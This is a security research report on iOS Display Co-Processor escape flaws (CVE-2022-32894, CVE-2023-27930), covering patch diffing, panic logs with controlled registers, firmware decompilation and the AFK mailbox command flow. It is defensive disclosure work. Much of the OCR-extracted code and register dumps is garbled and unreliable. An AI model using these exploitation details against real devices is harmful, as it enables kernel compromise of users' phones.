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TL;DR

e Jamf observed signs of attacks that were targeting co-processors.

* Google released an advisory on commercial threat actors using a co-processor vulnerability in
the wild.

* Apple released iOS 15.6.1 to patch CVE-2022-32894, addressing a kernel vulnerability.
Our research shows that the intention of this patch was to mitigate the method used by an
attacker to jump from the co-processor to the Application Processor (AP). We’ve named this
vulnerability ColdIntro: an undesirable introduction from the Display Co-Processor (DCP) to the
AP Kernel.

* The patch is incomplete: it mitigates a specific way for an attacker to escape a co-processor
but does not fix the root cause of the underlying vulnerability.

e Furthermore, we continued to dig deeper and found another vulnerability that allows threat
actors to similarly escape from the DCP to the AP kernel. We have named the newly patched
vulnerability: ColdInvite.

* We've researched ways for attackers to escape the specific co-processor in question (Display
Co-Processor) and quickly found a powerful exploit primitive ColdInvite (CVE-2023-27930).

e We are releasing the details of a DCP vulnerability (CVE-2023-27930) that we discovered
during our audit.

e We will release the proof of concept (PoC) for CVE-2023-27930 after Apple has publicly
released a patch.

¢ We predict more co-processors attacks and co-processor escape vulnerabilities in the future.

e Hardware and software versions vulnerable to Coldlnvite: iPhone 12 and newer models with
iOS 14+

e Jamf would like to thank the Apple Product Security team for patching the vulnerability quickly.

e Jamf recommends updating to iOS 16.5 to patch this vulnerability.

Note: As we don’t want to provide threat actors information relating to the advanced
methods we use to discover vulnerabilities or attacks, we’'ve omitted certain technical
details from our research.



A tale of a mitigation-only patch

On June 8th, 2022, ZecOps, a Jamf company, was asked in a public event what they believe are
the attacks of the future. Jamf hinted that we’re seeing strong indications for attacks that include:

1. Targeting of firmware/co-processors
2. Kernel-level anti-forensics techniques

On June 23rd, 2022, Google Threat Analysis Group & Project Zero published details about an
attack in the wild that was leveraging a vulnerability in a co-processor. This post was generally
unnoticed by the wider public. Though this type of sophisticated attack is typically the domain of
nation-state threat actors, Google reported evidence of these vulnerabilities being exploited by
commercial threat actors.

On August 17th, 2022, Apple released a security advisory and an update patching two interesting
vulnerabilities:

e CVE-2022-32894: “Kernel” vulnerability

e CVE-2022-32893: WebKit vulnerability

i0S 15.6.1 and iPadOS 15.6.1

Released August 17, 2022
Kernel

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and
later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An application may be able to execute arbitrary code with kernel privileges. Apple is aware of
a report that this issue may have been actively exploited.

Description: An out-of-bounds write issue was addressed with improved bounds checking.

CVE-2022-32894: an ancnymous researcher

In this research report, we are going to take a deep look into the kernel vulnerability above —
making every effort to unravel CVE-2022-32894 while hoping to better understand the latest
vulnerable surfaces and state-of-the-art exploitation techniques.



WebKit

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and
later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is
aware of a report that this issue may have been actively exploited.

Description: An out-of-bounds write issue was addressed with improved bounds checking.

WebKit Bugzilla: 243557
CVE-2022-32893: an anonymous researcher

These two vulnerabilities are particularly intriguing given that Apple is aware of reports that they
may have been actively exploited in the wild. Therefore, it’s likely that these two vulnerabilities
are connected and were part of an impactful remote exploit chain.

The related bug, (CVE-2022-32893) was reported to achieve remote code execution in the
WebKit engine. While technical analysis of this browser vulnerability is not in scope for this report,
Apple noted just above the CVE classification that this vulnerability is related to WebKit Bugzilla
243557.

Display Co-Processor, a new threat?

In June 2022, lan Beer of Google Project Zero published a blog uncovering a malicious app

targeting iPhone 12 and 13 that utilizes a then-unheard-of exploitation method. It first took control

over a co-processor called Display Co-Processor, or DCP for short. The exploit then leveraged
DCP as a trampoline to attack the kernel. If you aren’t familiar with DCP, the referenced blog
provides a great introduction.

This approach is superior to conventional kernel exploitation because security mitigations in co-
processors are years behind the maturity of the kernel security mitigations which operate on the
Application Processor (AP). Most co-processors:

writable data segments

lack Pointer Authentication Codes (PAC)

lack Memory Tagging Extension (MTE)

lack Address Space Layout Randomization (ASLR).


https://bugs.webkit.org/show_bug.cgi?id=243557
https://bugs.webkit.org/show_bug.cgi?id=243557
https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html
https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html

This means that attackers targeting co-processors can leverage predictable memory layouts
while the lack of security mitigations provides zero resistance when developing reliable exploit
chains.

While nation-state attackers have long had the funding and resources to develop sophisticated
new attacks, it is surprising that commercial threat actors now leverage vulnerabilities in co-
processors to achieve full device control. In theory, these vulnerabilities sound harder to exploit,
but practically speaking, it’s not always the case.

IOMobileFrameBuffer module and the DCP

DCP is only present on iPhone 12 and newer models, as well as all Macs equipped with an Apple
Silicon chip. On these newer devices, Apple relocated a massive amount of code that handles
IOMobileFrameBuffer to a co-processor.

IOMobileFrameBuffer is a complex module. It is one of the few kernel drivers that is accessible
from a website’s renderer process (web content). Therefore, it opens up the possibility of a
remote attack when combined with a remote code execution (RCE) vulnerability in the browser.
As a result, it became a popular target for attackers and has been exploited repeatedly in the
past.

Here are examples of the IOMobileFrameBuffer being exploited in the wild:

* i0S15.3 - CVE-2022-22587

* i0S 14.81- CVE-2021-30883 and iOS 15.0.2 - CVE-2021-30883

* i0S14.71- CVE-2021-30807

Now, this module lives in the less mature DCP instead of the kernel. The following example shows
that a DCP takeover can be done using CVE-2021-30883.

"panicString™ i "panic(cpu 1 caller @xfffffffe14935778): DCP %ﬁIﬂ_ﬁEQBI__QgsgggﬁgﬂﬂﬁﬁﬁBG@EBd50 Exception class=@x25 (Data
Abort taken without a change in Exception level), IL=1, iss=Bx4 |far=0x4141414141414141 iomfb_driver{6)
RTKit: RTKit_i05-1558.4@.22.debug — Client: local-iphonel3dcp.release
UUID: abecB960-3fde-39c0-B089-bbc3cB5fd3d3
Time: @x0000872168f398T5

Faulting task stack frame:
pc=@x000PRARAARR6Ed58 Exception class=@8x25 (Data Abort taken without a change in Exception level), IL=1, iss=8x4
Tar=0x4141414141414141

r@d=axffffffffa1628d88

Irﬁﬂ=ﬂx4141414141414141|

rl2=@xfTFfffif4177T418
rle=0xDABDEGAADABBAGEL
r26=000000000000000000
r24=0x00B0AEAADA368bca
r28=0xfTffffff4177dbb@
sp=0x0000080000360810
psr=0xb080a0ad4

r@l=axffffffffa15ab248
rg5=0x0000000000360bco
ré9=panaepepaaenoneeaa
ri3=ganoeeenedononeaed
rl7=pa00asaea0a0000080
r2l=0xffffffifa177eddd
r25=@x0080008080000081
r29=0x00000P0000360900

lr=0x00000000000698e8

cpacr=@x300086

ro2=000000P20RARANRBR8
r@c=e0a0o0000000000000
rip=agxffffffffa17fdase
rl4=@xfTIrFrrra177f4r9
r1B=000R00DBRAGANELE0E
r22=0000000e0000000000
r2e=axffffffff4177db78

pc=@x0200000000068d50

Tpsr=0x@00811

r@3=px0600000B003609d8
r@7=0x00000000000415c4
rll=exffffffff41620d88
r15=0xffTTITrr4177T478
r19=pB8AR0RRREAAGRDDE
r23=0xffffffff415ab248
r27=px8600000E30000008

psr=0x68000084
Tpcr=Raaadnae



https://support.apple.com/en-us/HT213053
https://support.apple.com/en-us/HT212868
https://support.apple.com/en-us/HT212846
https://support.apple.com/en-us/HT212623
https://support.apple.com/en-us/HT212868

We can see that the attempted access address, Fault Address Register (FAR), is fully controlled
(0x4141414141414141).

In a prior example leveraging CVE-2021-30883, an attacker altered the code execution flow of the
DCP, which can be exploited to completely take over the DCP. A proof of concept for CVE-2021-
30883 can be located on GitHub.

While we don’t know the exact reason behind the decision to relocate this module to the DCP, we
can speculate that it was done to increase the speed of the device by reducing the computational
burden on the AP.

Unfortunately, given the immaturity of the DCP’s security mitigations, this change made it easier
to exploit IOMobileFrameBuffer vulnerabilities.

Co-Processor attacks and escape vulnerabilities?

On both iOS and M1 devices, the Device Address Resolution Table (DART) is used to protect co-
processors by limiting their access to memory. Each co-processor operates within its own isolated
virtual memory space. Readers may be more familiar with the concept Input-Output Memory
Management Unit (IOMMU) from the XNU source code. Google provides further information
regarding this and how attackers managed to create a fake carrier app to target victims.

By triggering a bug in a kernel driver that responds to a co-processor message, attackers can
manipulate the kernel’s memory and then overwrite credentials, and execute malicious payloads
in the AP, directly threatening the user’s data privacy.

Thanks to DART, each co-processor is isolated in its own virtual memory space, running a
separate operating system called RTKitOS (see the screenshot below). It acts as an insulator
between the co-processor and the user’s data and applications. In order to reach user application
data, threat actors require new vulnerabilities that allow them to escape the co-processor
isolation environment in order to take over the device AP.

ANE: RTKSTACKRTKit_i05-1558.40.22.release

ANS: RTKSTACK@123456789%abcdef@123456789ABCDEFRTKit_105-1558.40.22.release
AOP: RTKit_i05-1558.48.22.debug

AVE: RTKSTACKRTKit_i0S5-1558.40.22.release

DCP: RTKit_i0S-1558.40.22.debug

GFX: RTKSTACK@12345678%abcdef@123456789ABCDEFRTKit_i05-1558.40.22.release
ISP: RTKSTACKRTKit_i05-1558.4@.22.release

PMP: RTKit_i05-1558.40.22.release

SI0: RTKSTACK@123456789%9abcdef®123456789ABCDEFRTKit_i05-1558.40.22.release

Co-Processors that run RTKitOS


https://github.com/saaramar/IOMFB_integer_overflow_poc/blob/main/poc/poc.c
https://github.com/saaramar/IOMFB_integer_overflow_poc/blob/main/poc/poc.c
https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html

"panicString" : "panic{cpu 1 caller @xfffffe@@ll048fe8): Kernel data abort. at pc @xfffffe@@11830c30, lr @xfffffeddll830cls
{saved state: Bxfffffe74fcB8039e8)
x@: 0x0014141414141400 x1: Oxfffffc68e267eecd x2: ©x0000000000000001 x3: Bxedd27e0010e818d0
x4: @xfffffeddl3719ad8 x5: Ox000000000000000Q x6: 0x0000000000000000 x7: Bxfffffe200174b748
xB: @xfffffe298e58aechd x9: o@xf{fffe@@dl3702078 x10: ©x00000000080000009 x11: AxP00Q0000080000008
x12: @x0000 x13: GxD0E0OPRARRARR0RE x14: Bxfffffe200174b758 x15: 9x00EQ00PBA0OH0089
x16: @xfffffed@l3702078 x17: @x34f6Te@013702078 x18: ©x0000000000000000 x19: Bxfffffe2000bbcfed
x20: O0x00000000e00002c2 x21: @xfffefeb9d41f9100 x22: Bxfffffe200174b748 x23: 0xD0G0000000000063
x24: Qxfffffe300051c9d0 x25: Oxcdalfelb33488540 x26: ©x000000000000008c x27: Bxfffffed@ld2fdled
x28: @xfffffeddld2fdled fp: OxFFfffe74fcB803d6@ 1r: @xfffffed@11830cl8 sp: Bxfffffe74fcB03d30
pc: @xfffffe@dl1830c30 cpsr: @x80481208 esr: @x960800084 far: 0x0014141414141400

Debugger message: panic
Memory ID: @x6

05 release type: User
05 version: 21G72

AP Kernel memory corruption by the DCP using CVE-2022-32894 in macOS Monterey 12.5

As we can see in the screenshot above, our tests of CVE-2022-32894 on macOS Monterey 12.5
allows the DCP to corrupt the kernel’s memory, meaning that attackers can use the DCP as a
viable path to corrupt the entire device.

Was CVE-2022-32894 fully patched?

Despite our ability to corrupt kernel memory directly from the DCP using CVE-2022-032894, the

DCP firmware before and after the patch remained exactly the same — without any change to the
DCP functions. This means that the underlying vulnerability exploited with CVE-2022-32894 was

not immediately patched and instead was temporarily mitigated.

# shalsum 15_6_1_iphonel3dcp.im&4p
2da90abc4686e3201c76ccchab62615774b4538F 15_6_1_iphonel3dcp.imé4p
# shalsum 15_é_iphonel3dcp.im4p
2da90a5c4686e3201c76ccchab62615774b4538fF 15_6_iphonel3dcp.imé4p

The DCP firmware before and after the patch remained exactly the same

Following our assessment of CVE-2022-32894, we believe there is at least one more vulnerability
that was not immediately patched by iOS 15.6.1 update. Let’s dive further into our detailed
analysis.

Analyzing the patch

We started by comparing the iOS and macOS kernels before (i0OS 15.6 and macOS 12.5) and after
(I0S 15.6.1/macOS 12.5.1) patching. We noticed two changes that appear to be related to the out-
of-bounds (OOB) issue at the heart of CVE-2022-32894. Both can be discovered by simple string
comparison.



The first clue is a newly added panic description “Out of bound index (%d) for port request table

size (%d)".

The same OOB check has been added in four ipc_port_request* functions:

* ipc_port_request_alloc
* |pc_port_request_sparm
* |pc_port_request_type
o

ipc_port_request_cancel
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Changes that were made to the four ipc_port_request* functions

The illustration below reflects the changes in the XNU source code to provide a clearer view of

the modifications in this patch. The table parameter, which essentially is “port->ip_requests”, is a

contiguous memory storing an array of struct ipc_port_request data. The patch checks that the

incoming index does not exceed the size of the table, otherwise an OOB access will occur and a

panic will be triggered.
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Our initial assumption was that it might be a race condition because there are some mach

traps that interact with this part of the port structure. The table size could grow and be read by
mach_port_set_attributes or mach_port_get_attributes with MACH_PORT_DNREQUESTS_SIZE.
Furthermore, mach_port_request_naotification leads to invoking ipc_port_request* functions,
making changes to the table content. We made varying attempts without success, prompting us

to look elsewhere.

The next clue is a newly added panic description. “/OP Buffer array length exceeded” @%s:%d".
Note that in the screenshot we show the macOS version just to make things easier, as it contains
more symbols for readability but the iOS version is the same.

ix

o [ a s BER 4 & e @ e

o I:IDODSSZHArliMalllm15hareumemowEndpmm!:hanﬂIeMallhnxh:lemnryEm:lpmm_.hahdlaMalIhonMessaga[ulong long) 00008528

| primary secondary

iln AFKM
L 00
J 00

L 00
J 00
4 00
L 00
| 4 oof

125 ) [ - | Firmarekit 12_5.i64 = x
o it B =2 3§

F G F i X . p O O Modebugger 1 0of
[ | I S
o4

External symbol [l Lumina function
@ Matched Functions

» [

- w

prploned & Selecti

e 0 0

Psauda..

pible(* (ATBuddyService
Bes:%d”, "AFE cimilarity~  Confide| Change

& mamory " EA Primary Kame Primary
0497 098  Gl----- 00008528 AFKMailboxSharedMemoryEndpoint:-handlefailb-
¢FromTORPhys( 1.00 098 - 00004000 _start




This clue is located in a function AFKMailboxSharedMemoryEndpoint::handleMailboxMessage,
which is part of the AppleFirmwareKit (AFK) driver. During the rest of this report, we simply refer
to it as :-handleMailboxMessage.
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When examining commands from the DCP to the kernel, we can see that the kernel added an
integer size check when handling commands 137 and 142.

As the panic string implies, this variable stored at offset +240 is the length of the IOP buffer array.

Later, we will explain what is in the buffer and what these commands do.

The beginning of the patched function AFKMailboxSharedMemoryEndpoint::handleMailboxMessage

AFK mailbox messaging

There is almost no public information about the AppleFirmwareKit (AFK) driver. The term
mailbox was first explained in Demystifying the Secure Enclave Processor at BlackHat 2016, as

a message-passing mechanism designed for Application Processor (AP) and Secure Enclave
Processor (SEP) communication.

It appears that AFK deals with IOP, which stands for Input-Output Slave Processor using Apple’s
terminology. IOP refers to the co-processors on iPhones and M-chip Macs.

To get familiar with IOP, we did some tests and studied the backtrace (see below). The invocation
was passed down from |OSlaveEndpoint::checkForWork.

1r: @xfffffedd245e27ed4 fp: @xfffffeB27ab2Zbaecd
Ir: @xfffffedd2445b7f8 fp: @xfffffeB2Tab2bafd
panic pc: Bxfffffe@@d254c5eld4 // Bx9cb4 // AFKMailboxSharedMemoryEndpoint::_handleTxQueue
// AFEMailboxSharedMemoryEndpoint: :handleMailboxMessage // this is where the Nday patch is
Lr: @xfffffe@d254c224c fp: @xfffffeB27ab2be?d // @x609c // AFKMailboxEndpointBase:: asyncMessage
Lr: exfffffed@268d50b0 fp: @xfffffeB27ab2bead // @x50d0 // IUS[aveEndpoint::cﬁeckFDrHurkiuuinii
1r: exfffffe@d24be2800 fp: @xffiffeB27ablbeed // IOWorkLoop::runEventSources(void)
lr: exfffffedd24be3d5c fp: @xfffffeB27ab2bf20 // IOWorkLoop::threadMain({void)
Lr: Bxfffffed@24464e78 fp: BxO0B0DOQEERBORERR // _Call_continuation

I0SlaveEndpoint is a class registered in the 10SlaveProcessor driver

"


https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf

: BxfffffedP23be67ed
1 Bxfffffe@@23a5f7fa
: Bxfffffedd24acaa’sd
: Bxfffffedd24ae3ach
: @xfffffedd24125b08
r Bxfffffedd2z4aeidvid
i Bxfffffedd24ac4dss
r Bxfffffedd24leb3iq
: Bxfffffe@@24actlc

@xfiffTed@263Ta380
axfifffedd263e892c
Oxfifffedd263e8570
Oxfifffedd2490dacc
Oxfifffedd2dleb33q
OxfITTTedd2490e130

t Bxfffifedd241leb3dq
toBxfffffedR2490defd
: Bxfffffedd2498ba2d
: Bxfffffedp241c3148
: Bxfffffedd241c2cidld
: Bxfffffe@@23b853cd
; Bxfffffed@23b06524
: Bxfffffed@23a68e78

T OxTTTfer5Z157b2T0
1 Pxfffffe75215fb300
: Bufffffe75215fh6ed
D @xfTfffe?5215Tb750
: Bxfffffe?5215fh7ba
D @xfTfffe?5215Th8ad
: Bxfffffe75215fhBbA
D @xTTTffe?5215Th92@
i Bxfffffe?5215fh9cd
D @xTTfffe?5215Thafa
¢ OxFfFfe752157bade
: OXTTfffe752157bage

Qxfffffe?5215Thaed

: Bxfffffe?52157Thb50
i Qxfffffe?5215Thbad
: Qxfffffe752157Thc10
¢ Qxfffffe752157he30
: Bxfffffe752157he80
: Axfffffe75215fbd6e
: Bxfffffe75215fbdad
: Qufffffe75215fbe2a
: Bxfffffe75215fbf2e
! BxAeeeeaB000000008

/
I
I
I
I
I
I
i
I

@xaBcBc ff|AFKMailbe5haredHemorIEndonnt|:_setﬂueueState

Bx23918 // SMMachine::postEvent block_invoke
05Collection::iterateObjects
@x23584 // SMMachine::postEvent
@x4baB // AFKMailboxEndpointBase::postSMEvent block_invoke
I0CommandGate: : runAction
#x5fdc //|AFKMailboxEndpointBase:: powerStateAction
ax26bfa / uddyEndpoint::onFowerstateChange
@x1f19c // RTBuddy:: notifyPowerStateChange
%gledeﬂ S/ RTBuddy::setPowerState
xbaldc 7/ AppleDCPExpert:i_changeDCPPowerStateGated
I0CommandGate: : runAction
Bx7100 // AppleDCPExpert::_setPowerAssertionGated
// I0CommandGate:: runAction
Bxbec8 // AppleDCPExpert::setPowerAssertion
Bx49f8 // DCPEndpoint::setPowerState
|I0Service: rdriverSetPowarState // recorded by socd here |
I05ervice: :pmbDriverCallout
thread_call_invoke
thread_call_thread
_Call_continuaticn
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We also correlated this to various data points that we have collected over the years from both
compromised and non-compromised devices and forced-crashed the system in the middle of a
power state change event. What follows is a peek into the layers of the I0Kit classes involved in
IOP communication:

IOService (Kernel) ->

DCPEndpoint (Driver for specific IOP, DCP in this case) ->

RTBubby (Intermediate layer for generalizing interfaces?) ->
AFKMailboxEndpointBase/AFKMailboxSharedMemoryEndpoint (Implement mailbox
mechanism, respond to cmds) ->

RTBuddyEndpoint::sendMessage (The actual message from the kernel to the co-processor)

It's nice to get a glimpse of the logic. Another thing that helped us to achieve a good
understanding of the AppleFirmwareKit is a built-in iOS/macOS command called afktool. The
AppleFirmwareKit has a UserClient class AFKEndpointinterfaceUserClient exposed to user space,
and afktool knows how to talk to AFKEndpointinterfaceUserClient in the kernel through a private
framework called AFKUser.framework.

——— AFKEndpointInterfaceUserClient externalMethod

@: AFKEndpointInterfacelUserClient::extOpenMethod
2 -1 -1 -1 // IOExternalMethodDispatch

1: AFKEndpointInterfaceUserClient::extCloseMethod
-1 -1 -1 -1

2: AFKEndpointInterfaceUserClient::extEnqueueCommandMethod
7 7] L] ]

3: AFKEndpointInterfaceUserClient::extEnqueueResponseMethod
4 -1 0 ]

4: AFKEndpointInterfaceUserClient::extEnqueueReportMethod
3 -1 @ ]

5: AFKEndpointInterfaceUserClient::extSessionMethod
1 -1 -1 -1

-1for the arbitrary size of the input. AFK UserClient interface takes fairly rich input/output data.
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afktool appears to be merely an information-dumping tool. In fact, it uses only one command
internally. You can run “afktool registry --role DCP” to export class layouts and associated
properties. It appears to only work with DCP or DCPEXT. DCPEXT is another IOP behind DART,
meaning that it has its own virtual memory space. DCPEXT shares the same code as DCP, but
uses and stores data on a different segment than DCP.

"segment-ranges”
o@gR2lopaEooeone
ggpezlooRER0pRRR
Beceefdodbaeoeed
oideoeopatooeBRe
@ececfdedboopend
peseipeeafapeeen
CEEDIRGELLERELLT
fese3zolefooRend
BoBERE3dBAbRGABGBD
BBcl@3Zolefooenna
@@ceadddSebaopend
Bdc@3edlofooenne

“segment-ranges™
fppazloeasoponae
GepezlopeEennene
Bdca5dd5abeponag
fepeoReRRTOOOBRE
Bec@Sddd4ebespend
LELEEEER G T

iop-dcp-nub

iop-dcpext-nub

<class AppleA7IOPNub,

peoeeooooaReREld f/ _ TEXT: @xB00210088 Size: @x60le@d // phy address
g@lecooooioaanne
g@leceececooennn
TR L LT s T T
frfffrfffrffeefreef
dpoopeolezovenne
frffffffffeffefe
ppdeepo00zadanne
fIffffffffeeefeef
peofecobazZadonRe
frfffrffrffeerereef
PRcRd50262000000

// __DATA: 0xbd96fc@Bl Size: @x3@peoe

=class AppleA7IOPNub,
p@poppopopRRARER f/ __TEXT: BxBEOQ210008 Size:
fRlece0003N000Re

Peloceepopodaned s/ _ DATA: Bxbd55dc@@@d Size:
pog@300B0DRRBDRE

FEFEEEEereeeeees

peepdRRlozo0a0RR

éxG@lesa

ex3daeee

This information can be obtained via ioreg -I. iop-dcpext doesn’t exist on iPhone 12 Pro Max but
does exist on M1 MacBooks

The following code is what afktool does to obtain these data dumps:

void AFKUser_usagelveld){

ia_service_t afkicserv = [0ServiceGetMatchingService(kIDMainPartDefault,
eg¢lass AFEMailbexEndpointInterface, id @xledeaasii [/
Bxdan\n", afkioserv);

IDRegistryEntrylMatching(@x180088511));
Jraysten 1oreg autput

printf(*afkioserv

AFKEndpointInterface #AFK_API = [AFKEndpointInterface withService:afkioserv];
printf{*AFKERdpointInterface inst: @xkllxwn®, (uintés_tIAFK_API);

dispatch_gueue_t afk_queus = dispatch_gueue_createl"afkregistry”, 8);
[AFK_APT setDispatchiuesue:afk_gueual;

[AFK_API setResponseHandler:*{id AFK_obj, uintés_t arg2?, wintd2_t errer_code,
resp_data_lem) {
printf("error_code: @xkx\n", error_codel;
hexdump_bind{resp_data, resp_data_len);

3 H

uintéé_t argt, vold sresp_data, uwintéd_t

[AFK_API sctivate:l]; // Inveke sel:@/extOpenMathnod

yintés_t outputPayloadSize = @xlBRaa;
uintes_t context = A3

kern_return_t kr = [AFK_API engueueComnandil2B inputBuffer:@ inputBufferSize
context :bcontext options:21;

S Tnvoke sel:2fextEnqueucCormanddethod

printf("AFK_API engueueCommand ri: @xMxhn", kr);

8 outputPayloadSize:outputPayleadSize

[AFK_API cancell;
CFRunLoopRuni);




What caught our eye here is the input command 128. This number also appeared at the beginning
of the patched function AFKMailboxSharedMemoryEndpoint::handleMailboxMessage

We can also use the log utility to observe output messages while running the code above:
log stream --level debug --process kernel | grep AppleFirmwareKit

In the screenshot below, you may find the data that was sent in red.

We can find the message that was received in the ::handleMailboxMessage.

The entire msg is 56-bit. The most significant 8 bits is the command sent by DCP to Kernel,
with the least significant 48 bits being arguments. Some of the commands can have multiple
arguments but at the cost of reducing the size of each argument.

T +
| @x8D | 0x2000000 |
e +

cmd 140 with three 16 bit arguments

kermel: (AppleFirmwareKit) AFKMailbexEndpointImterfacelsystem:8x188888497): setPowerState:@

kermel: (AppleFirmwareKit] DCPEndpoimt(DCPEndpoint:@x10880@83del: setPowerState:® _wake mlﬂ "5 'ﬂ!\'l(! ‘(Dii\'l1!> !E'ﬂw![i!'tt 1 pesertionCount: @

kermel: (Applefirmwareiit] AFKEndpoimtInterfacelserClient [AFKEndpointInterfy £ = it : g p padSize O outSize:dxidoasd
kermel: (AppleFirmwarekit) AFKMallbexEndpolntIaterface|system:Bx1888884%7) ulnulPuyluadShE Bx1e888
kermal: (AppleFirmwarelit] AFKMailbexEndpointimterfacelsystem: dxleeasassy) 104 ITIEG 3 T _assertisaleunt:@

kermel: (AppleFirmwareKit) DCPEndpoint(DCPEndpaint:@x1888883de): u;eninerSute nsserunn-::nun'l 8

kermel: (AppleFirmwareKit] DCPEndpoint{DCPEndpoint:@x10888@3de): setPowerState:l Wlk!_mlﬂ:‘ii device:<private> espPowerState!® pssertionCount:l

kermel: (AppleFirmwarekit] AFKMailboxEndpointImterface|system!Oyl08888497) setPowerState:l

kermel: (AppleFirmwareKit) DCPEndpaint (DCPEndpaint:@x1089883de) ! |msg: SxddB5800000000088 (cmd: OxBS argument: @ ep: 32 IOPK_IOP_TX_QUEUE_NOT_ENPTY)

kernel: (AppleFirmwareiit] DCPEndpaint(DCPEndpaint:@x1888883de):| handleMessage: if:2 versisn:? tid:11Bc ts:4elisBdiel? sr:78

kermel: (AppleFirmwareKit] AFKMailbexEndpointIsmterfacelsystem:@x 88888497): _handleSubPacket: paylosdSize=le sr:le versiom:d categery:? type:B8 seq:ld th:@ ret
kernel: (AppleFirmwareKit) AFKMailboxEndpointInterfacelsystem:dxL@ge@ess7); handleResponseSubPackel; 82i1¢ versionid catesorvi2 type:8 seq;ld ta:@ retfyCount
hermel: (AppleFirmwarekit) AFKEndpoimtInterfaceUsesrClientiAFKEndpointinterfacelserCliont :@xidddd2asf): hondleResponas! result!fud paylosdSire:1081140

kermel: (AppleFirmwareKit) AFKEndpaimtInterfaceUserClient(AFKEndpointInterfacelserCliont :8xl0od02aat): completeResponse: sizeildl14s

kernel: (AppleFirmwarekit] AFKMallbexEndpointIaterface|systen:@x188888497): I0Rsturn AFKMailboxEndpaintInterface: :deassertPowerStatel): _sssertianCount:l

As we can see from the screenshot above, the send command via enqueueCommand can carry a
large payload for input and output, which is not supported by MailboxMessage.

After viewing the DCP firmware, we can infer that the packetType 0x80 (128) and commands
handled by ::handleMailboxMessage are not quite the same. In this case, enqueueCommand
looks like it is responded to by AFKSystemServiceClient.
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Now let’s take a closer look at how the received commands are handled. The command Ox85
(133) here is indeed a MailboxMessage command. It looks like it proceeded to call
:_handleTxQueue to receive a richer formatted message that contains the output that was copied
to userspace.

AFKMailboxSharedMemoryEndpoint::handleMailboxMessage
->received cmd 0x85 (133)
-> AFKMailboxSharedMemoryEndpoint::_handleTxQueue
-> AFKMailboxEndpointBase::handleMessage

Now things look less foggy. We just need to find the code that directly interacts with
MailboxMessage on both sides of the kernel and DCP.

There are a total of 96 commands — also referred to as cmds. The majority of them are labeled
as UNKNOWN, which are possibly reserved slots.

cmd 128 is the first command /IOPK_IOP_READY. The CVE-2022-32894 patch is located in cmd
137 and 142, which are IOPK_IOP_REQUEST_BUFFER_TAGGED and IOPK_IOP_HERE_IS_YOUR_
BUFFER_ADDR respectively.

I
]
i
¥
S

1

JOE) L3 LR
3 Ch
i}

Fa cmd 137 |

=2 cmd 142[

J B3 R P O B LY O ey oy o
[
ORI
i

To figure out what commands 137 and 142 do, let’s take a deeper look into the DCP’s firmware.
This firmware is a mach-O format that can be extracted from the .ipsw file.



Next, we locate a function that links to a command/handler_func table, with the number 96
matching what we found in the AFK kernel driver.

[ S I e I O I |
v e
i
]
1
L

- cmd index
- 1 _startState
endState

1.1 L JEE R 1 .

L1 [a Ll oL
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e

H H|e o
i
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i
[N =]
i b

| RSN
i

L2y 1y

This table may seem confusing at first. Not all cmds are handled in ::handleMailboxMessage.
Names such as IOPK_IOP_SHUTDOWN_ACK are only held on the kernel side. Nevertheless,
handlers for both JOPK_IOP_READY and IOPK_IOP_READY_ACK cmds can be found on the DCP
side.

Who is the actual sender?

To understand precisely how the kernel and

DCP are interacting through these commands, we have to study the code implementation.

The receiving end of the DCP has a _currentState variable. The _startState of the cmd must be
equal to _currentState before it can be processed.

After processing, the value of _currentState will be replaced by _endState. So only certain
handlers can work at a given _currentState value.
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The iOS 14 version of the DCP firmware has more strings. Almost all cmds are handled in a
single switch statement. Clearly seeing the nexus between different cmds through the change of
currentState.

"[AFE]%s state:%d cmd:0x%x rerun:%d”,
“startStateMachina",
jned int *)(this + 228),

}
gwiteh ( | DWORD »)(thiz + 228) ) // status _currentState
{
casa 03
al = MailboxSharedMemoryEndpoint::sendMailboxMessage(this, 128LL, BLL);
vl = 33
goto LABEL_67;
case 1:
if { (_DWORD)received cmd |w 128 )
abort("ASSERT: %s:%d: [%8]\nASSERT: 0x%lx O0x%1lx", v7, 197LL, "ecmd == IOPK_IOP READY", this,
v = 2
goto LABEL 26;
case 2:
MailboxSharedMemoryvEndpoint: : sendMai lboxMessage(this, 160LL, 8LL);
goto LABEL 29;
case 3:
if { (_DWORD)received emd 1= 160 )
abort("ASSERT: %s:%d: [%8]\nASSERT: Ox%lx Ox%lx", v7, 212LL, "cmd == IOPE_IOP READY ACK", th
LABEL _29:
al = MajilboxSharedMemoryEndpoint::getHextStateOnReadybct(this);// Allocate the buffer and retuj
*( DWORD *)(this + 228) = al}
vd = 1LL;

if ( ({unsigned intjal | 2} I= & }
goto LABEL_68;
continue;
casa 4:
11 = gend_message(this, 137u, (unsigned intl6) (*(_DWORD *)(this + 232) >> &), 0);

000D0014 Hniliumﬂhnrndﬂ-nnrylndpuintllktlrtstatlﬂnuhinntﬁﬁ (CED14)

DCP firmware of iOS 14.2.1 for iPhone 12 Pro Max. Symbols are added upon analysis.

CVE-2022-32894 occurs when the kernel receives either cmd 137 or 142. We tracked down the
place where DCP sent these cmds, then drew the following maps of relationship with other cmds
according to _currentState. Note that these maps are based on the DCP of iOS 14.2.1 which
helps to clarify the logic. The DCP of iOS 15.6 skipped some _currentState, however, the cmd
operations remain consistent.
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_CurrentState = 1:
Kernel —> DCP {cmd 12B/I0PK_IOP_READY)
_CurrentState = 2

_CUrrentstate = 2:
DCP -= Kernel {cmd 168/I0PK_IOP_READY_ACK) 7/ Send 8xB to verify protocol version
Invoke ::getMextStateOnReadyAct, _currentState pivet te either & or 4

_currentState = 6: Flvatd
DCP -= Kernel {omd 141/I0PK_IOP_HERE_IS_YOUR_BUFFER_SIZE) // Send Size
DCP —= Kernel {(omd 142/I0PK_TIOP_HERE_IS_YOUR_BUFFER_ADDR) // Send Buffer address // Allocated in ::getNextStateOnReadyAct
_Currentstate = B

_Currentstate = 4: Pivat 2
DCP -= Kernel {omd 137/I0PK_IOP_REQUEST_BUFFER_TAGGED)
_Currentstate = 7
